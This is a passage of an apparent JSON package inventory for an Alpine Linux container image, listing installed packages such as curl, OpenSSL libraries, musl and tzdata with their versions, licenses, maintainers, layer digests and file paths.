"usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_2_2023.crt", "usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt", "usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt", "usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt", "usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt", "usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt", "usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt", "usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt", "usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt", "usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt", "usr/share/ca-certificates/mozilla/DigiCert_TLS_ECC_P384_Root_G5.crt", "usr/share/ca-certificates/mozilla/DigiCert_TLS_RSA4096_Root_G5.crt", "usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt", "usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt", "usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/FIRMAPROFESIONAL_CA_ROOT-A_WEB.crt", "usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt", "usr/share/ca-certificates/mozilla/GLOBALTRUST_2020.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R1.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R2.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R3.crt", "usr/share/ca-certificates/mozilla/GTS_Root_R4.crt", "usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt", "usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_E46.crt", "usr/share/ca-certificates/mozilla/GlobalSign_Root_R46.crt", "usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/HARICA_TLS_ECC_Root_CA_2021.crt", "usr/share/ca-certificates/mozilla/HARICA_TLS_RSA_Root_CA_2021.crt", "usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt", "usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt", "usr/share/ca-certificates/mozilla/HiPKI_Root_CA_-_G1.crt", "usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_3.crt", "usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt", "usr/share/ca-certificates/mozilla/ISRG_Root_X2.crt", "usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt", "usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt", "usr/share/ca-certificates/mozilla/Izenpe.com.crt", "usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt", "usr/share/ca-certificates/mozilla/Microsoft_ECC_Root_Certificate_Authority_2017.crt", "usr/share/ca-certificates/mozilla/Microsoft_RSA_Root_Certificate_Authority_2017.crt", "usr/share/ca-certificates/mozilla/NAVER_Global_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt", "usr/share/ca-certificates/mozilla/OISTE_Server_Root_ECC_G1.crt", "usr/share/ca-certificates/mozilla/OISTE_Server_Root_RSA_G1.crt", "usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt", "usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt", "usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt", "usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt", "usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt", "usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt", "usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt", "usr/share/ca-certificates/mozilla/SSL.com_TLS_ECC_Root_CA_2022.crt", "usr/share/ca-certificates/mozilla/SSL.com_TLS_RSA_Root_CA_2022.crt", "usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt", "usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_E46.crt", "usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_R46.crt", "usr/share/ca-certificates/mozilla/SecureSign_Root_CA12.crt", "usr/share/ca-certificates/mozilla/SecureSign_Root_CA14.crt", "usr/share/ca-certificates/mozilla/SecureSign_Root_CA15.crt", "usr/share/ca-certificates/mozilla/SecureTrust_CA.crt", "usr/share/ca-certificates/mozilla/Secure_Global_CA.crt", "usr/share/ca-certificates/mozilla/Security_Communication_ECC_RootCA1.crt", "usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt", "usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt", "usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt", "usr/share/ca-certificates/mozilla/SwissSign_RSA_TLS_Root_CA_2022_-_1.crt", "usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt", "usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt", "usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt", "usr/share/ca-certificates/mozilla/TWCA_CYBER_Root_CA.crt", "usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt", "usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Telekom_Security_TLS_ECC_Root_2020.crt", "usr/share/ca-certificates/mozilla/Telekom_Security_TLS_RSA_Root_2023.crt", "usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt", "usr/share/ca-certificates/mozilla/Telia_Root_CA_v2.crt", "usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G3.crt", "usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G4.crt", "usr/share/ca-certificates/mozilla/TrustAsia_TLS_ECC_Root_CA.crt", "usr/share/ca-certificates/mozilla/TrustAsia_TLS_RSA_Root_CA.crt", "usr/share/ca-certificates/mozilla/Trustwave_Global_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P256_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P384_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/TunTrust_Root_CA.crt", "usr/share/ca-certificates/mozilla/UCA_Extended_Validation_Root.crt", "usr/share/ca-certificates/mozilla/UCA_Global_G2_Root.crt", "usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt", "usr/share/ca-certificates/mozilla/certSIGN_Root_CA_G2.crt", "usr/share/ca-certificates/mozilla/e-Szigno_Root_CA_2017.crt", "usr/share/ca-certificates/mozilla/e-Szigno_TLS_Root_CA_2023.crt", "usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt", "usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_C3.crt", "usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_G3.crt", "usr/share/ca-certificates/mozilla/emSign_Root_CA_-_C1.crt", "usr/share/ca-certificates/mozilla/emSign_Root_CA_-_G1.crt", "usr/share/ca-certificates/mozilla/vTrus_ECC_Root_CA.crt", "usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt" ], "AnalyzedBy": "apk" }, { "ID": "ca-certificates-bundle@20260413-r0", "Name": "ca-certificates-bundle", "Identifier": { "PURL": "pkg:apk/alpine/ca-certificates-bundle@20260413-r0?arch=x86_64\u0026distro=3.23.4", "UID": "d9471547e8751507" }, "Version": "20260413-r0", "Arch": "x86_64", "SrcName": "ca-certificates", "SrcVersion": "20260413-r0", "Licenses": [ "MPL-2.0", "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:44c90827e10115cb6afec51081cb26785dc8f418", "InstalledFiles": [ "etc/ssl/cert.pem", "etc/ssl/certs/ca-certificates.crt", "etc/ssl1.1/cert.pem", "etc/ssl1.1/certs" ], "AnalyzedBy": "apk" }, { "ID": "curl@8.19.0-r0", "Name": "curl", "Identifier": { "PURL": "pkg:apk/alpine/curl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f9ecf01e03ce7fef" }, "Version": "8.19.0-r0", "Arch": "x86_64", "SrcName": "curl", "SrcVersion": "8.19.0-r0", "Licenses": [ "curl" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "libcurl@8.19.0-r0", "musl@1.2.5-r23", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:812f1083cfc10c65b05b05bb4adfa3acb5cf6058", "InstalledFiles": [ "usr/bin/curl", "usr/bin/wcurl" ], "AnalyzedBy": "apk" }, { "ID": "libapk@3.0.6-r0", "Name": "libapk", "Identifier": { "PURL": "pkg:apk/alpine/libapk@3.0.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "47dcfb9093b112c1" }, "Version": "3.0.6-r0", "Arch": "x86_64", "SrcName": "apk-tools", "SrcVersion": "3.0.6-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.6-r0", "libssl3@3.5.6-r0", "musl@1.2.5-r23", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:f064c8318c4f7f17da6a490921ce0d5e709fc063", "InstalledFiles": [ "usr/lib/libapk.so.3.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libcap2@2.78-r0", "Name": "libcap2", "Identifier": { "PURL": "pkg:apk/alpine/libcap2@2.78-r0?arch=x86_64\u0026distro=3.23.4", "UID": "10583398d3443ae8" }, "Version": "2.78-r0", "Arch": "x86_64", "SrcName": "libcap", "SrcVersion": "2.78-r0", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:028a6d5765bb49548501afb36e6f5ded5bd9ca7c", "InstalledFiles": [ "usr/lib/libcap.so.2", "usr/lib/libcap.so.2.78", "usr/lib/libpsx.so.2", "usr/lib/libpsx.so.2.78" ], "AnalyzedBy": "apk" }, { "ID": "libcrypto3@3.5.6-r0", "Name": "libcrypto3", "Identifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.5.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "975680d851f10fda" }, "Version": "3.5.6-r0", "Arch": "x86_64", "SrcName": "openssl", "SrcVersion": "3.5.6-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:9e7a866d0d052d290d3f9d621a4c89214188acff", "InstalledFiles": [ "etc/ssl/ct_log_list.cnf", "etc/ssl/ct_log_list.cnf.dist", "etc/ssl/openssl.cnf", "etc/ssl/openssl.cnf.dist", "usr/lib/libcrypto.so.3", "usr/lib/engines-3/afalg.so", "usr/lib/engines-3/capi.so", "usr/lib/engines-3/loader_attic.so", "usr/lib/engines-3/padlock.so", "usr/lib/ossl-modules/legacy.so" ], "AnalyzedBy": "apk" }, { "ID": "libcurl@8.19.0-r0", "Name": "libcurl", "Identifier": { "PURL": "pkg:apk/alpine/libcurl@8.19.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "ae99b13d03576e54" }, "Version": "8.19.0-r0", "Arch": "x86_64", "SrcName": "curl", "SrcVersion": "8.19.0-r0", "Licenses": [ "curl" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "brotli-libs@1.2.0-r0", "c-ares@1.34.6-r0", "ca-certificates-bundle@20260413-r0", "libcrypto3@3.5.6-r0", "libidn2@2.3.8-r0", "libpsl@0.21.5-r3", "libssl3@3.5.6-r0", "musl@1.2.5-r23", "nghttp2-libs@1.69.0-r0", "zlib@1.3.2-r0", "zstd-libs@1.5.7-r2" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:c833586b6e5dcd4a10da7cf354b01d9e0ee10da8", "InstalledFiles": [ "usr/lib/libcurl.so.4", "usr/lib/libcurl.so.4.8.0" ], "AnalyzedBy": "apk" }, { "ID": "libidn2@2.3.8-r0", "Name": "libidn2", "Identifier": { "PURL": "pkg:apk/alpine/libidn2@2.3.8-r0?arch=x86_64\u0026distro=3.23.4", "UID": "f2e21ad261c22630" }, "Version": "2.3.8-r0", "Arch": "x86_64", "SrcName": "libidn2", "SrcVersion": "2.3.8-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libunistring@1.4.1-r0", "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:b8c5bfa365da5c360a01230db4d71e65af94af3d", "InstalledFiles": [ "usr/lib/libidn2.so.0", "usr/lib/libidn2.so.0.4.0" ], "AnalyzedBy": "apk" }, { "ID": "libncursesw@6.5_p20251123-r0", "Name": "libncursesw", "Identifier": { "PURL": "pkg:apk/alpine/libncursesw@6.5_p20251123-r0?arch=x86_64\u0026distro=3.23.4", "UID": "edc30eb15f442d49" }, "Version": "6.5_p20251123-r0", "Arch": "x86_64", "SrcName": "ncurses", "SrcVersion": "6.5_p20251123-r0", "Licenses": [ "X-11" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23", "ncurses-terminfo-base@6.5_p20251123-r0" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:649d3041c52b80620fb50a98f5979d25ebbe1523", "InstalledFiles": [ "usr/lib/libncursesw.so.6", "usr/lib/libncursesw.so.6.5" ], "AnalyzedBy": "apk" }, { "ID": "libpsl@0.21.5-r3", "Name": "libpsl", "Identifier": { "PURL": "pkg:apk/alpine/libpsl@0.21.5-r3?arch=x86_64\u0026distro=3.23.4", "UID": "3b2044e446534821" }, "Version": "0.21.5-r3", "Arch": "x86_64", "SrcName": "libpsl", "SrcVersion": "0.21.5-r3", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libidn2@2.3.8-r0", "libunistring@1.4.1-r0", "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:b663c00f920a93be49c825555aa1a212e4287393", "InstalledFiles": [ "usr/lib/libpsl.so.5", "usr/lib/libpsl.so.5.3.5" ], "AnalyzedBy": "apk" }, { "ID": "libssl3@3.5.6-r0", "Name": "libssl3", "Identifier": { "PURL": "pkg:apk/alpine/libssl3@3.5.6-r0?arch=x86_64\u0026distro=3.23.4", "UID": "aece396067dff154" }, "Version": "3.5.6-r0", "Arch": "x86_64", "SrcName": "openssl", "SrcVersion": "3.5.6-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.6-r0", "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:5a2620d507434903b747470a76b47e24b222de5e", "InstalledFiles": [ "usr/lib/libssl.so.3" ], "AnalyzedBy": "apk" }, { "ID": "libunistring@1.4.1-r0", "Name": "libunistring", "Identifier": { "PURL": "pkg:apk/alpine/libunistring@1.4.1-r0?arch=x86_64\u0026distro=3.23.4", "UID": "97a3c9b2cf3d0f9e" }, "Version": "1.4.1-r0", "Arch": "x86_64", "SrcName": "libunistring", "SrcVersion": "1.4.1-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:6e56562bde456bee5971787d3d95c34e84ced797", "InstalledFiles": [ "usr/lib/libunistring.so.5", "usr/lib/libunistring.so.5.2.1" ], "AnalyzedBy": "apk" }, { "ID": "musl@1.2.5-r23", "Name": "musl", "Identifier": { "PURL": "pkg:apk/alpine/musl@1.2.5-r23?arch=x86_64\u0026distro=3.23.4", "UID": "dca30b3fd6708a32" }, "Version": "1.2.5-r23", "Arch": "x86_64", "SrcName": "musl", "SrcVersion": "1.2.5-r23", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:1b6c50426d3c0656e9c5a567a5a59601c7f4307a", "InstalledFiles": [ "lib/ld-musl-x86_64.so.1", "lib/libc.musl-x86_64.so.1" ], "AnalyzedBy": "apk" }, { "ID": "musl-utils@1.2.5-r23", "Name": "musl-utils", "Identifier": { "PURL": "pkg:apk/alpine/musl-utils@1.2.5-r23?arch=x86_64\u0026distro=3.23.4", "UID": "ffcf7198a9776c5f" }, "Version": "1.2.5-r23", "Arch": "x86_64", "SrcName": "musl", "SrcVersion": "1.2.5-r23", "Licenses": [ "MIT", "BSD-2-Clause", "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23", "scanelf@1.3.8-r2" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:92fdbe96d25f13fe3a3d297ada56e4fb907aacec", "InstalledFiles": [ "sbin/ldconfig", "usr/bin/getconf", "usr/bin/getent", "usr/bin/iconv", "usr/bin/ldd" ], "AnalyzedBy": "apk" }, { "ID": "ncurses-terminfo-base@6.5_p20251123-r0", "Name": "ncurses-terminfo-base", "Identifier": { "PURL": "pkg:apk/alpine/ncurses-terminfo-base@6.5_p20251123-r0?arch=x86_64\u0026distro=3.23.4", "UID": "5acf10991828fa7a" }, "Version": "6.5_p20251123-r0", "Arch": "x86_64", "SrcName": "ncurses", "SrcVersion": "6.5_p20251123-r0", "Licenses": [ "X-11" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:57bd1d8124ec957eefea2314bdf45b0ed1068cee", "InstalledFiles": [ "etc/terminfo/a/alacritty", "etc/terminfo/a/ansi", "etc/terminfo/d/dumb", "etc/terminfo/g/gnome", "etc/terminfo/g/gnome-256color", "etc/terminfo/k/konsole", "etc/terminfo/k/konsole-256color", "etc/terminfo/k/konsole-linux", "etc/terminfo/l/linux", "etc/terminfo/p/putty", "etc/terminfo/p/putty-256color", "etc/terminfo/r/rxvt", "etc/terminfo/r/rxvt-256color", "etc/terminfo/s/screen", "etc/terminfo/s/screen-256color", "etc/terminfo/s/st-0.6", "etc/terminfo/s/st-0.7", "etc/terminfo/s/st-0.8", "etc/terminfo/s/st-0.8.5", "etc/terminfo/s/st-16color", "etc/terminfo/s/st-256color", "etc/terminfo/s/st-direct", "etc/terminfo/s/sun", "etc/terminfo/t/terminator", "etc/terminfo/t/terminology", "etc/terminfo/t/terminology-0.6.1", "etc/terminfo/t/terminology-1.0.0", "etc/terminfo/t/terminology-1.8.1", "etc/terminfo/t/tmux", "etc/terminfo/t/tmux-256color", "etc/terminfo/v/vt100", "etc/terminfo/v/vt102", "etc/terminfo/v/vt200", "etc/terminfo/v/vt220", "etc/terminfo/v/vt52", "etc/terminfo/v/vte", "etc/terminfo/v/vte-256color", "etc/terminfo/x/xterm", "etc/terminfo/x/xterm-256color", "etc/terminfo/x/xterm-color", "etc/terminfo/x/xterm-xfree86" ], "AnalyzedBy": "apk" }, { "ID": "nghttp2-libs@1.69.0-r0", "Name": "nghttp2-libs", "Identifier": { "PURL": "pkg:apk/alpine/nghttp2-libs@1.69.0-r0?arch=x86_64\u0026distro=3.23.4", "UID": "1d18d06a4faec59f" }, "Version": "1.69.0-r0", "Arch": "x86_64", "SrcName": "nghttp2", "SrcVersion": "1.69.0-r0", "Licenses": [ "MIT" ], "Maintainer": "Francesco Colista \u003cfcolista@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:6b8651227dd3f9155ded30ddc171757a7f5b91a5", "InstalledFiles": [ "usr/lib/libnghttp2.so.14", "usr/lib/libnghttp2.so.14.29.4" ], "AnalyzedBy": "apk" }, { "ID": "readline@8.3.1-r0", "Name": "readline", "Identifier": { "PURL": "pkg:apk/alpine/readline@8.3.1-r0?arch=x86_64\u0026distro=3.23.4", "UID": "6e963727578deb58" }, "Version": "8.3.1-r0", "Arch": "x86_64", "SrcName": "readline", "SrcVersion": "8.3.1-r0", "Licenses": [ "GPL-3.0-or-later" ], "Maintainer": "Celeste \u003ccielesti@protonmail.com\u003e", "DependsOn": [ "libncursesw@6.5_p20251123-r0", "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:8aeb81b3a477f922b9b6a533381114c63dd928fe", "InstalledFiles": [ "etc/inputrc", "usr/lib/libreadline.so.8", "usr/lib/libreadline.so.8.3" ], "AnalyzedBy": "apk" }, { "ID": "scanelf@1.3.8-r2", "Name": "scanelf", "Identifier": { "PURL": "pkg:apk/alpine/scanelf@1.3.8-r2?arch=x86_64\u0026distro=3.23.4", "UID": "4efd612ed6f16dca" }, "Version": "1.3.8-r2", "Arch": "x86_64", "SrcName": "pax-utils", "SrcVersion": "1.3.8-r2", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:6ea36dd44ef9f6364f0cdfabe09ea15d2fdbe229", "InstalledFiles": [ "usr/bin/scanelf" ], "AnalyzedBy": "apk" }, { "ID": "ssl_client@1.37.0-r30", "Name": "ssl_client", "Identifier": { "PURL": "pkg:apk/alpine/ssl_client@1.37.0-r30?arch=x86_64\u0026distro=3.23.4", "UID": "f1acb8f2a8f94f51" }, "Version": "1.37.0-r30", "Arch": "x86_64", "SrcName": "busybox", "SrcVersion": "1.37.0-r30", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sören Tempel \u003csoeren+alpine@soeren-tempel.net\u003e", "DependsOn": [ "libcrypto3@3.5.6-r0", "libssl3@3.5.6-r0", "musl@1.2.5-r23" ], "Layer": { "DiffID": "sha256:29df493baa13de438d6d2ece3a8333032e0b7b9b9d8cce4ee82194da255f61e1" }, "Digest": "sha1:5b6ec0939cfc9be47d9677a3152c547cc18b5edd", "InstalledFiles": [ "usr/bin/ssl_client" ], "AnalyzedBy": "apk" }, { "ID": "tzdata@2026b-r0", "Name": "tzdata", "Identifier": { "PURL": "pkg:apk/alpine/tzdata@2026b-r0?arch=x86_64\u0026distro=3.23.4", "UID": "86f2dfb9a4acee39" }, "Version": "2026b-r0", "Arch": "x86_64", "SrcName": "tzdata", "SrcVersion": "2026b-r0", "Licenses": [ "Public-Domain" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:32aeaf57bbd7e2e10560488d473a5634be88d6d680fa5ddcd01f02fe343a3229" }, "Digest": "sha1:2624b59cfb8182dfb3de19043c6867cd1b3e1779", "InstalledFiles": [ "usr/share/zoneinfo/CET", "usr/share/zoneinfo/CST6CDT", "usr/share/zoneinfo/Cuba", "usr/share/zoneinfo/EET", "usr/share/zoneinfo/EST", "usr/share/zoneinfo/EST5EDT", "usr/share/zoneinfo/Egypt", "usr/share/zoneinfo/Eire", "usr/share/zoneinfo/Factory", "usr/share/zoneinfo/GB", "usr/share/zoneinfo/GB-Eire", "usr/share/zoneinfo/GMT", "usr/share/zoneinfo/GMT+0", "usr/share/zoneinfo/GMT-0", "usr/share/zoneinfo/GMT0", "usr/share/zoneinfo/Greenwich", "usr/share/zoneinfo/HST", "usr/share/zoneinfo/Hongkong", "usr/share/zoneinfo/Iceland", "usr/share/zoneinfo/Iran", "usr/share/zoneinfo/Israel", "usr/share/zoneinfo/Jamaica", "usr/share/zoneinfo/Japan", "usr/share/zoneinfo/Kwajalein", "usr/share/zoneinfo/Libya", "usr/share/zoneinfo/MET", "usr/share/zoneinfo/MST", "usr/share/zoneinfo/MST7MDT", "usr/share/zoneinfo/NZ", "usr/share/zoneinfo/NZ-CHAT", "usr/share/zoneinfo/Navajo", "usr/share/zoneinfo/PRC", "usr/share/zoneinfo/PST8PDT", "usr/share/zoneinfo/Poland", "usr/share/zoneinfo/Portugal", "usr/share/zoneinfo/ROC", "usr/share/zoneinfo/ROK", "usr/share/zoneinfo/Singapore", "usr/share/zoneinfo/Turkey", "usr/share/zoneinfo/UCT", "usr/share/zoneinfo/UTC", "usr/share/zoneinfo/Universal", "usr/share/zoneinfo/W-SU", "usr/share/zoneinfo/WET", "usr/share/zoneinfo/Zulu", "usr/share/zoneinfo/iso3166.tab", "usr/share/zoneinfo/leap-seconds.list", "usr/share/zoneinfo/posixrules", "usr/share/zoneinfo/zone.tab", "usr/share/zoneinfo/zone1970.tab", "usr/share/zoneinfo/Africa/Abidjan", "usr/share/zoneinfo/Africa/Accra", "usr/share/zoneinfo/Africa/Addis_Ababa", "usr/share/zoneinfo/Africa/Algiers", "usr/share/zoneinfo/Africa/Asmara", "usr/share/zoneinfo/Africa/Asmera", "usr/share/zoneinfo/Africa/Bamako", "usr/share/zoneinfo/Africa/Bangui", "usr/share/zoneinfo/Africa/Banjul", "usr/share/zoneinfo/Africa/Bissau", "usr/share/zoneinfo/Africa/Blantyre", "usr/share/zoneinfo/Africa/Brazzaville", "usr/share/zoneinfo/Africa/Bujumbura", "usr/share/zoneinfo/Africa/Cairo", "usr/share/zoneinfo/Africa/Casablanca", "usr/share/zoneinfo/Africa/Ceuta", "usr/share/zoneinfo/Africa/Conakry", "usr/share/zoneinfo/Africa/Dakar", "usr/share/zoneinfo/Africa/Dar_es_Salaam", "usr/share/zoneinfo/Africa/Djibouti", "usr/share/zoneinfo/Africa/Douala", "usr/share/zoneinfo/Africa/El_Aaiun", "usr/share/zoneinfo/Africa/Freetown", "usr/share/zoneinfo/Africa/Gaborone", "usr/share/zoneinfo/Africa/Harare", "usr/share/zoneinfo/Africa/Johannesburg", "usr/share/zoneinfo/Africa/Juba", "usr/share/zoneinfo/Africa/Kampala", "usr/share/zoneinfo/Africa/Khartoum", "usr/share/zoneinfo/Africa/Kigali", "usr/share/zoneinfo/Africa/Kinshasa", "usr/share/zoneinfo/Africa/Lagos", "usr/share/zoneinfo/Africa/Libreville", "usr/share/zoneinfo/Africa/Lome", "usr/share/zoneinfo/Africa/Luanda", "usr/share/zoneinfo/Africa/Lubumbashi", "usr/share/zoneinfo/Africa/Lusaka", "usr/share/zoneinfo/Africa/Malabo", "usr/share/zoneinfo/Africa/Maputo", "usr/share/zoneinfo/Africa/Maseru", "usr/share/zoneinfo/Africa/Mbabane", "usr/share/zoneinfo/Africa/Mogadishu", "usr/share/zoneinfo/Africa/Monrovia", 